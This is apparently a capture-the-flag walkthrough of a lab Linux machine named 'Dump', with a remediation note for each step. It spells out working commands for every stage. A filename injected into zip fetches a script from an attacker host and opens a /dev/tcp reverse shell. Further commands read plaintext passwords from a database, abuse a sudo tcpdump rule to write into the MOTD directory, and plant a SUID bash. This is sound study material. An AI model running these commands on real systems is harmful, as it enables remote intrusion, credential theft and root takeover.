← all walkthroughs

Dump

Linux· Hard
owned
2026-10-14
time to own
24m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a custom PHP packet-capture manager on port 80 with open self-registration. Its download feature packaged a user's uploaded captures with the zip command and passed the stored filenames to it unfiltered, so a filename that began with a hyphen was read as a zip option.

Zip's -T/-TT test-command options gave command execution, which I used to fetch and run a script, returning a shell as www-data. The application's SQLite database held the fritz account's password in clear text, and it worked over SSH.

A NOPASSWD sudo rule let www-data run tcpdump as root with a glob-constrained output path; a second -w plus -Z fritz wrote a fritz-owned file inside /etc/update-motd.d/. As fritz, I rewrote that file to copy bash and set it SUID, and the next SSH login ran it as root.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for fritz>"
export CHOSEN_PASSWORD="<a-password-you-choose>"
export LPORT="<a-value-you-captured-earlier>"

Attack path — how the box was taken

1EnumerationNetwork and web content discovery
Mapped the exposed services and the web application
A TCP scan showed only SSH (22, OpenSSH 8.4p1 Debian) and Apache (80). The web root served a custom packet-capture manager titled 'hdmpll?' with an open Login/Register form and, once authenticated, upload.php and download.php endpoints.
Open ports: 22/tcp OpenSSH 8.4p1 Debian, 80/tcp Apache httpd 2.4.65 (Debian); page title 'hdmpll?'.
Exact commands 3
shell

Confirm only SSH and Apache are listening.

$ nmap -p22,80 -sCV -Pn $TARGET
shell

Fetch the landing page and confirm the upload and download endpoints exist.

$ curl -s -i http://$TARGET/ ; curl -s -o /dev/null -w '%{http_code}\n' http://$TARGET/upload.php; curl -s -o /dev/null -w '%{http_code}\n' http://$TARGET/download.php
shell

Register a throwaway account (zxq7/zxq7) and log in, keeping the session cookie in ck.txt.

$ cd /tmp && rm -f ck.txt && curl -s -c ck.txt -b ck.txt -o /dev/null -X POST -d "username=zxq7&password=$CHOSEN_PASSWORD&btn=Register" http://$TARGET/index.php && curl -s -c ck.txt -b ck.txt -i -X POST -d "username=zxq7&password=$CHOSEN_PASSWORD&btn=Login" http://$TARGET/index.php | head -20
2Initial AccessArgument injection via unsanitized filename into zip (CWE-88, T1059.004)
Turned uploaded filenames into zip options to get a www-data shell
I uploaded a tiny valid pcap under the filename '-h' and then requested download.php; the response contained zip's usage text, proving the stored filename reached the zip command line as an option. Zip's -T (test archive) with -TT <cmd> (the command used to test) runs that command, so I uploaded three captures named 'test', '-TT wget -r $ATTACKER_IP:8000 -nd;bash s.sh;echo' and '-T', then requested download.php. Zip ran the -TT string through a shell, pulling s.sh from me web server. A curl -F upload cannot carry this name because it treats the inner ';' as a parameter separator, so the uploads were sent as raw multipart from a short Python requests script that registers, logs in, clears old captures, uploads each name in order and then fetches download.php.
download.php with a '-h' capture returned 'Zip 3.0 (July 5th 2008). Usage: ...'; after the upload set, the shell returned uid=33(www-data) on host dump, cwd /var/cache/captures/<uuid>.
Exact commands 6
shell

Build a minimal valid pcap header and upload it under the filename '-h'.

$ cd /tmp && printf '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x01\x00\x00\x00' > p.pcap && curl -s -b ck.txt -F 'fileToUpload=@/tmp/p.pcap;filename=-h' -F 'submit=Upload Capture' http://$TARGET/upload.php
shell

Zip's help text comes back in the response, proving the filename is parsed as an option.

$ curl -s -b ck.txt http://$TARGET/download.php | head -60
shell

Stage the script wget will fetch; it backgrounds the connect-back to $LPORT so the HTTP request still returns. Start a listener on $LPORT first.

$ mkdir -p /tmp/stage && printf '#!/bin/bash\nsetsid nohup bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/$LPORT 0>&1" >/dev/null 2>&1 &\nexit 0\n' > /tmp/stage/s.sh
shell

Serve s.sh on port 8000 (the port inside the -TT filename, separate from the $LPORT catcher).

$ python3 -m http.server 8000 --bind 0.0.0.0 --directory /tmp/stage
shell

dump.py uses requests.Session() to register and log in as zxq7, delete existing captures, POST each argument as a fileToUpload filename with the pcap body, then GET /download.php to fire zip.

$ python3 -I /tmp/dump.py zxq7 test "-TT wget -r $ATTACKER_IP:8000 -nd;bash s.sh;echo" '-T'
shell

In the caught shell: uid=33(www-data) on dump.

$ id; hostname; pwd
uid=33(www-data)
FixStop passing user-controlled filenames into the archive command lineCritical
WeaknessThe download feature built a zip command line from the stored upload filename verbatim, so a filename beginning with a hyphen was parsed as a zip option. zip's -TT option then ran an externally chosen command, giving remote code execution as www-data.
FixNever place user-controlled strings on a shell/command line. Use a library zip implementation (e.g. PHP ZipArchive); if shelling out is unavoidable, pass arguments via an argv array, terminate option parsing with '--' or prefix names with './', and reject or rename any stored filename that does not match a strict safe-character allowlist before it is ever used.
3Credential AccessCredentials in files / insecure credential storage (T1552.001)
Read plaintext application credentials from the SQLite database
From the www-data shell, sudo -n -l showed a NOPASSWD rule for tcpdump (used at step 5), and the application database /var/www/database/database.sqlite3 was world-readable and writable. Querying its users table returned passwords in clear text, including the one for the Linux account fritz.
database.sqlite3 mode -rw-rw-rw-; users table row {"username":"fritz","password":"$PASSWORD",...} alongside the throwaway zxq7 account.
Exact commands 1
shell

As www-data: show the sudo rule and dump the users table; fritz's password is stored in clear text.

$ id; echo '--SUDO--'; sudo -n -l 2>&1; echo '--DB--'; ls -la /var/www/database/; php -r '$d=new SQLite3("/var/www/database/database.sqlite3");$r=$d->query("select * from users");while($x=$r->fetchArray(1))echo json_encode($x),"\n";'
FixHash stored passwords and stop reusing application credentials for system loginsHigh
WeaknessThe application stored user passwords in plain text in a world-readable, world-writable SQLite database, and the same password was valid for the Linux SSH account fritz, so one read of the database gave a real system login.
FixStore only salted password hashes (bcrypt/argon2), never plaintext, and tighten the database file permissions so the web user cannot read every account. Ensure system accounts never share credentials with application accounts, and prefer SSH key auth with password login disabled.
4Lateral MovementValid accounts / credential reuse (T1078)
Logged in over SSH as fritz with the recovered password
The cleartext password from the database was valid for SSH as fritz, giving a login shell and the user flag. Fritz itself has no sudo rights (sudo asks for a password), but I now held two footholds: www-data, which may run tcpdump as root, and fritz, which can log in over SSH. Checking the tcpdump AppArmor profile confirmed the GTFOBins -z command path was closed (it only permits gzip/bzip2), so the root write would have to come from -w.
Uid=1001(fritz) groups=1001(fritz),4(adm) on dump; 'sudo: a password is required' for fritz; /etc/update-motd.d/ initially held only 10-uname; AppArmor profile allows -z only via gzip/bzip2.
Exact commands 2
shell

Prove the fritz context, then read <user.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null fritz@$TARGET 'id; hostname; cat /home/fritz/user.txt'
uid=1001(fritz) groups=1001(fritz),4(adm)
shell

Fritz cannot sudo; the MOTD directory is writable only by root for now; AppArmor limits -z to gzip/bzip2, closing the GTFOBins command path.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null fritz@$TARGET 'sudo -n -l 2>&1 | tail -3; ls -la /etc/update-motd.d/; cat /etc/apparmor.d/usr.bin.tcpdump'
5Privilege EscalationAbuse of a glob-constrained NOPASSWD sudo rule for tcpdump -w (T1548.003)
Used the NOPASSWD tcpdump -w to drop a fritz-owned file into the MOTD directory
The sudo rule let www-data run tcpdump as root but constrained the -w output path to a UUID-shaped name under /var/cache/captures/ and required a matching -F filter file. Tcpdump honours the last -w on the line, so I passed the required glob-matching -w first and a second -w pointing at /etc/update-motd.d/<fixed-uuid>, with -Z fritz to drop privileges so the created file was owned by fritz. The capture wrote 10 packets and left a fritz-writable file inside the root-owned /etc/update-motd.d/ directory, which runs its scripts as root on every SSH login.
Sudo -n -l: (ALL: ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/<uuid-glob> -F/var/cache/captures/filter.<uuid-glob>; after the run, /etc/update-motd.d/11111111-1234-1234-1234-111111111111 existed owned by fritz:fritz.
Exact commands 1
shell

Run as www-data. The second -w wins and -Z fritz makes the new MOTD file fritz-owned.

$ U=$(uuidgen); M=11111111-1234-1234-1234-111111111111; : > /var/cache/captures/filter.$U; nohup sudo -n /usr/bin/tcpdump -c10 -w/var/cache/captures/ -w/etc/update-motd.d/$M -Z fritz /$U -F/var/cache/captures/filter.$U >/tmp/td.log 2>&1 & sleep 10; cat /tmp/td.log; ls -la /etc/update-motd.d/
FixRemove the NOPASSWD tcpdump rule that allows root-owned writes outside the capture directoryCritical
WeaknessA NOPASSWD sudoers entry let www-data run tcpdump as root. The glob only constrained one -w path, so a second -w plus -Z fritz wrote a fritz-owned file into the root-executed /etc/update-motd.d/ directory, which fritz then weaponised into a SUID-root bash.
FixRemove tcpdump from sudoers for non-admin accounts; if packet capture must be delegated, grant file capabilities (setcap cap_net_raw,cap_net_admin+eip) to a dedicated low-privilege capture account instead of root sudo. Never allow a sudo rule for a tool that can create files to accept a caller-chosen output path or privilege-drop target, and keep /etc/update-motd.d/ writable only by root.
6Full CompromiseRoot-run MOTD script writes a SUID-root binary (T1548.001)
Rewrote the MOTD script as fritz so a root login planted a SUID bash
Because the MOTD file was now owned by fritz, the me (over SSH as fritz) replaced its contents with a two-line script that copies /usr/bin/bash to /home/fritz/bash and sets it mode 6755. The /etc/update-motd.d/ scripts run as root during PAM login, so the next SSH session executed the script as root and left a SUID-root bash. Running it with -p kept effective uid 0, giving a root shell and the root flag.
After a fresh login, /home/fritz/bash was -rwsr-sr-x owner root:root; /home/fritz/bash -p -c 'id' returned euid=0(root); root.txt read from /root/root.txt.
Exact commands 2
shell

As fritz, overwrite the fritz-owned MOTD file with the SUID-bash dropper.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null fritz@$TARGET 'printf "#!/bin/bash\ncp /usr/bin/bash /home/fritz/bash\nchmod 6755 /home/fritz/bash\n" > /etc/update-motd.d/11111111-1234-1234-1234-111111111111; chmod +x /etc/update-motd.d/11111111-1234-1234-1234-111111111111'
shell

The new login runs the MOTD as root; the planted SUID bash yields euid=0 and <root.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null fritz@$TARGET 'ls -la /home/fritz/bash; /home/fritz/bash -p -c "id; hostname; cat /root/root.txt"'
euid=0(root)

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp